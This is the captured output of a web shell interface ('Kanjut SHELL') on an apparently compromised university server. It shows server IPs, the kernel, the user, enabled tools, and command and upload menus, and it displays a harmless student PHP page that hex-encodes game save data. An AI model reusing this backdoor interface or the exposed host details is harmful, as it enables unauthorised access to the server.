Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.222.163.231
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wcdavis/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/wcdavis/public_html/op.php
<h2><center>Save states</centetr></h2>
<hr>
<!-- Save states in video games are something I find quite interesting. Below are some basic examples done on a fundamental level.<br><br>

A popular convention in most web-based games are password generators, where some 16-character code is generated based on game progress. From there, you can save it in a txt file and 
re-use it the next time you play the game. For example, here is a save state generated by the popular web-based game Cookie Clicker:
<p>
<center>MS4wNDAzfHwxMzg4MDY3NzU0NTk4OzEzODgwNjc3NTQ1OTg7MTM4ODA2Nzc2ODA5MnwxMTExMTEwMXwxMDsxMDsxMDswOzEwOzA7LTE7LTE7MDswOzA7MDswOzA7MDswOzA7MDswOzB8MCwwLDAsMDswLDAsMCwwOzAsMCwwLDA7MCwwLD
</center>
<p>
Each set of capital letters are essentially control variables for each achievement or each variable that can be set to a saved state. Therefore, applying a similar logic, if I were to 
create my own game with, say, 4 different saved state variables: Character name, character level, story chapter, and let's say weapon proficiency (I'm designing an RPG in this 
simulation, the real thing will have more charactereistics). SO, for character name we can expect a string, level will translate to a number (alternatively, a string), story chapter 
will be something to the effect of 7-1, 7-2. etc... and the weapon proficiency will be stored like this-- say there's 5 weapon types in the game: 01345, where each number denotes the 
level of proficiency for each weapon, 0 beign the lowest and 5 beign the highest.
<br><br>
-->
Generate your own save data info:<br>
<div align=left>
&nbsp Character name: Wes<br>
&nbsp Character level: 15<br>
&nbsp Story chapter: 4-1<br>
&nbsp Weapon proficiency: 02245<br>
</div>
<?php
	function strToHex($string)
	{
    		$hex='';
    		for ($i=0; $i < strlen($string); $i++)
		{
       			$hex .= dechex(ord($string[$i]));
    		}
    		return $hex;
	}
	$teststring = "Wes4-1";
	$teststring = $teststring. "1502245";
	echo "<br><br>The resulting hex is:<br><br>";	
	$testhex = strToHex($teststring);
	echo "$testhex";

	echo "<br><br>Decoding the hex back into a string, then:<br><br>";
	
	//the fucntion
	function hexToStr($hex)
	{
  		$string='';
    		for ($i=0; $i < strlen($hex)-1; $i+=2)
		{
        		$string .= chr(hexdec($hex[$i].$hex[$i+1]));
    		}
    		return $string;
	}
	
	//the result
	$teststringA =  hexToStr($testhex);
	echo "$teststringA";
?>
<hr>

Stv3n404 - 2023